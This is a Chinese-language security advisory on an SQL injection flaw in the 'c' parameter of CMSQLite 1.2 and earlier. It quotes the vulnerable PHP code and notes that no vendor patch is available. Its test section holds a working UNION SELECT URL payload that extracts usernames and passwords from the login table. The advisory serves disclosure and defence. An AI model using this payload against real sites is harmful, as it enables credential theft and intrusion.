CMSQLite <= 1.2 c参数SQL注入漏洞
影响版本:
Netzabdruck.de CMSQLite <= 1.2
漏洞描述:
CMSQLite是基于PHP和SQLite的内容管理系统。
CMSQlite的index.php页面存在SQL注入漏洞:
if(isset($_GET['c'])){
$contentId=$_GET['c'];
}else{
if ($seo_url){
$arrArticleInfo = $SYSTEM->resolveURL($_SERVER['REQUEST_URI'], $langId);
if(empty($arrArticleInfo)){
$contentId=1;
}else{
$contentId = $arrArticleInfo[0]['articleId'];
$module = $arrArticleInfo[0]['module'];
}
}else{
$contentId=1;
}
}
$HTML->printHead($contentId);
这段代码将URL参数c传送到了printHead():
public function printHead($_contentId){
$sql="SELECT * FROM meta";
$meta = $this->DB->query($sql);
$sql = "SELECT docTitle, docDesc, docKey FROM content WHERE id=$_contentId";
由于未经任何过滤或转义便将c参数被注入到了SQL查询中,这可能导致SQL注入漏洞。
<*参考
http://syue.com/Hacker/Research/14501.html
*>
测试方法:
http://cmsqlite.audit/index.php?c=2-2%20UNION%20ALL%20SELECT%202,name%20||%20password,%203,4,5,6%20FROM%20login%20limit%201%20--%20x
安全建议:
厂商补丁:
Netzabdruck.de
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.cmsqlite.net